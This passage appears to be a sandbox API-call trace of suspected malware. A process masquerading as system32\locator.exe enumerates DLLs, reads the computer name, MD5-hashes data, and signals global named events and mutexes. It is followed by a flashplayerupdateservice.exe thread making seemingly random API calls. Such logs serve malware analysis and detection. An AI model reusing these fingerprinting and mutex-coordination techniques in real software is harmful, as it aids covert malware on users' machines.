dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0188.301] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0188.302] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0188.302] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0188.302] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0188.302] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0188.303] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x198f8b4 | out: BaseAddress=0x198f8b4*=0x75cf0000) returned 0x0 [0188.307] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.307] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.307] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e840) returned 1 [0188.307] FindClose (in: hFindFile=0x63fd00 | out: hFindFile=0x63fd00) returned 1 [0188.307] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e268) returned 1 [0188.308] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x198f8e0 | out: pNumArgs=0x198f8e0) returned 0x6347a8*="C:\\Windows\\system32\\locator.exe" [0188.308] LocalFree (hMem=0x6347a8) returned 0x0 [0188.308] Wow64DisableWow64FsRedirection (in: OldValue=0x198f8dc | out: OldValue=0x198f8dc*=0x0) returned 1 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x800) returned 0x348e88 [0188.308] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x348e88, nSize=0x200 | out: lpFilename="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe")) returned 0x1f [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e840 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e840) returned 1 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x100) returned 0x349690 [0188.308] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x349690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x349690) returned 1 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x347ee8 [0188.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x347ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x347f30 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x347ee8) returned 1 [0188.308] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x347ee8 [0188.308] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x347f78 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x347fc0 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348008 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348050 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348098 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x342850 [0188.309] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.309] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.309] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0188.398] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.398] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x638db8, lpbSaclPresent=0x198f710, pSacl=0x198f764, lpbSaclDefaulted=0x198f710 | out: lpbSaclPresent=0x198f710, pSacl=0x198f764, lpbSaclDefaulted=0x198f710) returned 1 [0188.398] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.398] CreateEventA (lpEventAttributes=0x198f758, bManualReset=1, bInitialState=0, lpName="") returned 0x10c [0188.398] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.398] GetLastError () returned 0x0 [0188.398] LocalFree (hMem=0x638db8) returned 0x0 [0188.398] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.398] CryptAcquireContextW (in: phProv=0x198f748, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x198f748*=0x658640) returned 1 [0188.399] CryptCreateHash (in: hProv=0x658640, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x198f748 | out: phHash=0x198f748) returned 1 [0188.399] CryptHashData (hHash=0x63fd00, pbData=0x347f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0188.399] CryptGetHashParam (in: hHash=0x63fd00, dwParam=0x4, pbData=0x198f74c, pdwDataLen=0x198f758, dwFlags=0x0 | out: pbData=0x198f74c, pdwDataLen=0x198f758) returned 1 [0188.399] CryptGetHashParam (in: hHash=0x63fd00, dwParam=0x2, pbData=0x3480e0, pdwDataLen=0x198f74c, dwFlags=0x0 | out: pbData=0x3480e0, pdwDataLen=0x198f74c) returned 1 [0188.399] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348128 [0188.399] CryptDestroyHash (hHash=0x63fd00) returned 1 [0188.399] CryptReleaseContext (hProv=0x658640, dwFlags=0x0) returned 1 [0188.399] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.399] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.399] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348170 [0188.399] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.399] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.399] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.400] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x348170) returned 1 [0188.400] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x348128) returned 1 [0188.400] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348128 [0188.400] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x124 [0188.400] GetLastError () returned 0x0 [0188.400] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348170 [0188.400] CryptAcquireContextW (in: phProv=0x198f748, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x198f748*=0x658640) returned 1 [0188.400] CryptCreateHash (in: hProv=0x658640, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x198f748 | out: phHash=0x198f748) returned 1 [0188.401] CryptHashData (hHash=0x63fd00, pbData=0x347f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0188.401] CryptGetHashParam (in: hHash=0x63fd00, dwParam=0x4, pbData=0x198f74c, pdwDataLen=0x198f758, dwFlags=0x0 | out: pbData=0x198f74c, pdwDataLen=0x198f758) returned 1 [0188.401] CryptGetHashParam (in: hHash=0x63fd00, dwParam=0x2, pbData=0x348170, pdwDataLen=0x198f74c, dwFlags=0x0 | out: pbData=0x348170, pdwDataLen=0x198f74c) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.401] CryptDestroyHash (hHash=0x63fd00) returned 1 [0188.401] CryptReleaseContext (hProv=0x658640, dwFlags=0x0) returned 1 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x348170) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348170 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3481b8 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x348170) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x348170 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x348170) returned 1 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3481b8) returned 1 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3480e0) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3480e0 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3481b8 [0188.401] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3481b8) returned 1 [0188.401] GetLastError () returned 0x5 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3481b8 [0188.401] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3481b8) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x3481b8 [0188.401] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x128 [0188.401] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x3481b8) returned 1 [0188.401] SetEvent (hEvent=0x124) returned 1 [0188.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 1056 os_tid = 0x948 Process: id = "83" image_name = "flashplayerupdateservice.exe" filename = "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe" page_root = "0x3bfc0000" os_pid = "0x45c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 848 os_tid = 0x664 [0192.729] GetTimeZoneInformation (in: lpTimeZoneInformation=0x37fa20 | out: lpTimeZoneInformation=0x37fa20) returned 0x2 [0192.732] GetCurrentProcess () returned 0xffffffff [0192.732] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x37fa0c | out: lpExitCode=0x37fa0c*=0x103) returned 1 [0192.732] GetForegroundWindow () returned 0x0 [0192.732] GetCaretBlinkTime () returned 0x1f4 [0192.732] GetFileType (hFile=0xf710cd) returned 0x0 [0192.732] GetConsoleProcessList (in: lpdwProcessList=0x37facc, dwProcessCount=0x1 | out: lpdwProcessList=0x37facc) returned 0x0 [0192.732] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x37f9d8 | out: pcyOut=0x37f9d8) returned 0x0 [0192.733] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0192.733] GetCommState (in: hFile=0x3b268c, lpDCB=0x37f840 | out: lpDCB=0x37f840) returned 0 [0192.734] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x37f83c, pmr=0x37f828, cht=0x353) returned 0 [0192.734] CloseClipboard () returned 0 [0192.734] CoUninitialize () 